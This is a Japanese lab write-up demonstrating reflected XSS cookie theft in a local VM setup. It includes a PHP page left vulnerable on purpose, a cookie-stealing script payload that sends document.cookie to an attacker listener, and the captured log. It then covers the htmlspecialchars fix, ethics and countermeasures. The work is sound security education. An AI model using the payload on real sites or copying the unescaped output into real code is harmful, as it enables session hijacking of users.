概要
今回の実験は、ホストOS(Windows11)で簡単なphpアプリケーションを動作させ、ゲストOS(Kali Linux)から攻撃を仕掛けCookieを奪取するというものです。
具体的には、反射型クロスサイトスクリプティング(Reflected XSS)脆弱性を意図的に作り込んだ検索フォームを用意し、攻撃者がどのようにして悪意のあるスクリプトを埋め込むかをシミュレートします。
この実験を通じて、セッションハイジャックの脅威や、適切なエスケープ処理(サニタイズ)の重要性を実践的に理解することを目的としています。
1. 実験の流れ
XSSは動的なWebアプリケーションにおいて、ユーザーの入力をそのままコードに組み込んでしまい、ユーザーの意図しない悪意ある振る舞いを実行させる攻撃です。
今回はそのXSSの一種である「反射型クロスサイトスクリプティング(Reflected XSS)」を実験していきたいと思います。
ホストOSでXAMPPを使ってWebサーバーを稼働させ、ゲストOSとしてKaliを使ってCookieを取得する流れになっています。
また、XSSについての詳しい説明はこちらをご覧ください。
2. 環境構築
この実験は、ホストOSとゲストOSを分離した仮想環境で行います。
ホストOS (Windows 11側)
C:\xampp\htdocs 内に作業フォルダ(例: xss-test)を作成します。C:\xampp\htdocs\xss-test\ に、以下の内容で search.php を作成します。このコードは、query パラメータで受け取った値を htmlspecialchars でエスケープせずに echo しているため、反射型XSS脆弱性を持ちます。
<!DOCTYPE html>
<html>
<head><title>脆弱な検索ページ</title></head>
<body>
<h2>検索フォーム</h2>
<form action="search.php" method="GET">
<input type="text" name="query">
<input type="submit" value="検索">
</form>
<hr>
<h3>検索結果:</h3>
<p>
<?php
if (isset($_GET['query'])) {
$query = $_GET['query'];
// ▼ 脆弱な箇所 ▼
echo "'" . $query . "' の検索結果が見つかりました。";
}
?>
</p>
<?php
// 実験用のセッションCookieをセット
session_start();
if (!isset($_SESSION['user_id'])) {
$_SESSION['user_id'] = 'victim_user_'. rand(1000, 9999);
}
echo "(あなたのセッションID: " . session_id() . ")";
?>
</body>
</html>
ipconfig で自身のIPアドレス(IPv4)を確認します。
http://192.168.2.100/xss-test/search.php)。
すると先ほど作成したsearch.phpが動作していることが確認できます。
また、アクセスに成功するとブラウザに付与されたセッションIDが表示されます。
ゲストOS (Kali Linux側)
- 仮想マシンの起動: VMwareやVirtualBoxでKali Linuxを起動します。(Kali以外でも大丈夫です)
- ログサーバーの起動: Cookieを受け取るための簡易HTTPサーバーを起動します。ターミナルを開き、以下のコマンドを実行します。
- IPアドレスの確認: 別のコンソールで
ip aを実行しIPアドレスを確認。
# ポート8000番で簡易サーバーを起動
python3 -m http.server 8000
今回の場合は 192.168.2.169 でした。
3. 攻撃の実行
- 被害者の準備: ホストOS(Windows)のブラウザで、脆弱なアプリにアクセスします(例:
http://192.168.2.100/xss-test/search.php)。これでブラウザにセッションCookieが保存されます。 - ペイロードの作成: 以下のJavaScriptペイロード(クッキーを盗むコード)を作成します。IPアドレスはご自身のKali LinuxのIPに置き換えてください。
<script>document.location='http://ホストOSのIPアドレス:8000/steal?cookie='+document.cookie;</script>
- 攻撃の実行: ホストOSのブラウザに戻り、検索フォームに上記で作成した
<script>...</script>のペイロードをそのまま入力し、「検索」ボタンをクリックします。
4. 結果の確認
「検索」をクリックすると、ホストOSのブラウザはスクリプトを実行し、攻撃者(Kali)のIPへリダイレクトしようとします。ブラウザ画面は「このサイトにアクセスできません」というエラー(404)になりますが、これは想定通りの動作です。
ゲストOS (Kali Linux) のターミナル(python3 -m http.server が動作している画面)を確認します。以下のようなログが出力されていれば、攻撃は成功です。
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.100 - - [19/Oct/2025 04:31:52] "GET /steal?cookie=PHPSESSID=kfukttotbe8hhro1for4nbp1th HTTP/1.1" 404 -
ログに、ホストOS(192.168.2.100)からアクセスがあり、そのリクエスト(GET /steal?...)に被害者のCookie(PHPSESSID=...)が含まれていることが確認できます。これでCookieの奪取が完了しました。
4. 脆弱性の修正
改めて何が起きたのかを整理すると、脆弱な search.php は、検索フォームから送られてきた文字列(今回の場合は <script>document.location=...</script> という攻撃コード)を、何の処理もせずにそのままHTMLページの一部としてブラウザに返していました。
ブラウザは、HTMLに書かれた <script> タグを「表示すべき文字」ではなく「実行すべき命令(スクリプト)」として解釈してしまいました。
その結果、document.location が実行され、被害者のCookie情報が攻撃者のサーバー(Kali Linux)に送信されたのです。
このXSS脆弱性は、ユーザーの入力をHTMLに出力する前に `htmlspecialchars` 関数でサニタイズ(無害化)することで防げます。
`search.php` の脆弱だった箇所を以下のように修正します。
<?php
if (isset($_GET['query'])) {
$query = $_GET['query'];
// ▼▼▼ 脆弱性修正 ▼▼▼
// 特殊文字をHTMLエンティティに変換する
$safe_query = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
// エスケープ処理された安全な $safe_query を出力
echo "'" . $safe_query . "' の検索結果が見つかりました。";
// ▲▲▲ 脆弱性修正 ▲▲▲
}
?>
この修正後、再度フォームに同じペイロード(<script>...)を入力して検索すると、スクリプトは実行されず、'<script>document.location=...</script>' の検索結果が見つかりました。 のように、入力した文字列がそのまま表示されるようになります。
倫理的考察
この実験は、XSS(クロスサイト・スクリプティング)の仕組みとセッションハイジャックの脅威を、教育目的で理解するために実施したものです。他者が管理するWebサイトに対して、許可なく脆弱性を探す行為や攻撃ペイロードを送信する行為は、深刻な電子計算機損壊等業務妨害罪や不正アクセス禁止法などに抵触する犯罪行為です。
実験は必ず、自身が管理する閉じたローカルネットワーク環境(ホストOSとゲストOSのみ)で完結させてください。
脅威
今回の実験では、検索フォームというWebサイトでごく一般的に使用される機能が悪用されました。
もし悪意のある攻撃者が、私たちが実験したのと同じような脆弱性を実際のWebサイトで発見した場合、攻撃者は巧妙に細工したURL(攻撃ペイロードを含む)を作成し、フィッシングメールやSNSのDMなどで不特定多数のユーザーに送りつけます。
ユーザーがそのURLを「本物のサイトのURLだ」と信じてクリックしてしまうと、その瞬間にブラウザ上でスクリプトが実行され、セッションCookieが攻撃者に盗まれてしまいます。
攻撃者は、盗んだCookieを使ってそのユーザーになりすまし、ログイン後のページ(個人情報、決済情報、機密データなど)に不正にアクセスすることが可能になります。これがセッションハイジャックです。
対策・対処
今回の攻撃は、htmlspecialchars というPHPの基本的な関数を一行追加するだけで、完全に防ぐことができました。
これは、Webアプリケーション開発において「ユーザーからの入力はすべて信頼せず、常に出力時にエスケープ(サニタイズ)処理を行う」というセキュリティの基本原則がいかに重要であるかを示しています。
開発者は「この程度の入力なら大丈夫だろう」と慢心せず、あらゆる入力が攻撃ペイロードである可能性を意識してセキュアコーディングを徹底することが不可欠です。
また、利用者側としても、メールやDMで送られてきたURLを安易にクリックせず、特にURLに不自然な文字列(%3C や script など)が含まれていないかを確認する習慣を持つことが、被害を防ぐ上で重要になります。
まだコメントはありません。